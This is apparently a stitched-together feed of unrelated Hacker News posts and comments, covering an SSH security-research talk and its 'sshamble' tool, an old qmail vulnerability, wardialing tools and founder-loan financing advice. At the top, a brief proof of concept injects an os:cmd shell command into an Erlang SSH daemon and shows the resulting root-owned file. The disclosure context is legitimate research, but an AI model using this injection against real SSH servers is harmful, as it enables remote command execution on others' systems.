The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'

The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)

>-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED

This presentation dives deep into the Secure Shell protocol, its popular implementations, what's changed, what hasn't, and how this leads to unexpected vulnerabilities and novel attacks. An open source tool, dubbed "sshamble", will be demonstrated, which reproduces these attacks and opens the door for further research.

https://github.com/runZeroInc/sshamble

Comments URL: https://news.ycombinator.com/item?id=41213064

Points: 101

# Comments: 30

Source: co-speaker of the OP referenced presentation

Salient quote below:

>In May 2005, Georgi Guninski published "64 bit qmail fun", three vulnerabilities in qmail (CVE-2005-1513, CVE-2005-1514, CVE-2005-1515):

[snip]

>Surprisingly, we re-discovered these vulnerabilities during a recent qmail audit; they have never been fixed because, as stated by qmail's author Daniel J. Bernstein (in https://cr.yp.to/qmail/guarantee.html):

>>"This claim is denied. Nobody gives gigabytes of memory to each qmail-smtpd process, so there is no problem with qmail's assumption that allocated array lengths fit comfortably into 32 bits."

1. https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-...

edit: added quote from referenced url

IIRC (it has been a bit), there was a specific frequency only used by modem negotiation but not fax machines (3150?).

- WarVOX 2.0 Presentation: https://speakerdeck.com/hdm/derbycon-2011-acoustic-intrusion... - WarVOX Source: https://github.com/rapid7/warvox

The US legal restrictions on wardialing are complicated and changes to the law made it difficult to continue the project.

For fans of ToneLoc, I implemented the data format and visualization with my latest project (Rumble Network Discovery): - https://www.rumble.run/blog/subnet-grid-report/

Regarding contingency plans, you don't need to have a hard repayment date in the loan terms and can let it accrue interest indefinitely (until bankruptcy, acquisition, or otherwise). Unlike traditional convertible debt a founder loan normally doesn't "blow up" into a huge equity stake if not paid back.

If things don't work out and you have the opportunity to roll the founding team into an another company (acquihire), loans are an easy thing to assign value to, even if the IP or goodwill is more difficult. Negotiate the loan repayment as a signing bonus if you can.

If things work out and you either raise money or bootstrap to profitability, you can pay off the loans as it makes sense, or just forgive them outright if that's easier. Either way you probably don't need to involve your whole board to manage it, unlike equity changes.

I get the desire as a founder to obtain the same terms on capital as future investors, but it can put you in a weird place and can complicate future fundraising. Props to anyone who can make it work, but I had good luck with the founder loan process and felt like it was the cheapest way to finish bootstrapping (we did).

Good luck either way!

Alternatively, refile your articles and stock purchase agreement and tie that capital to the stock purchase or initial contribution. I would still recommend founder loans instead. If you use a SAFE or other convertible debt on amazing terms, future investors may ask for the same terms.

Edit: I financed my startup (https://rumble.run) that way and paid myself back a month ago. Painless all around.

Comments URL: https://news.ycombinator.com/item?id=22728691

Points: 1

# Comments: 0

Comments URL: https://news.ycombinator.com/item?id=16970598

Points: 4

# Comments: 0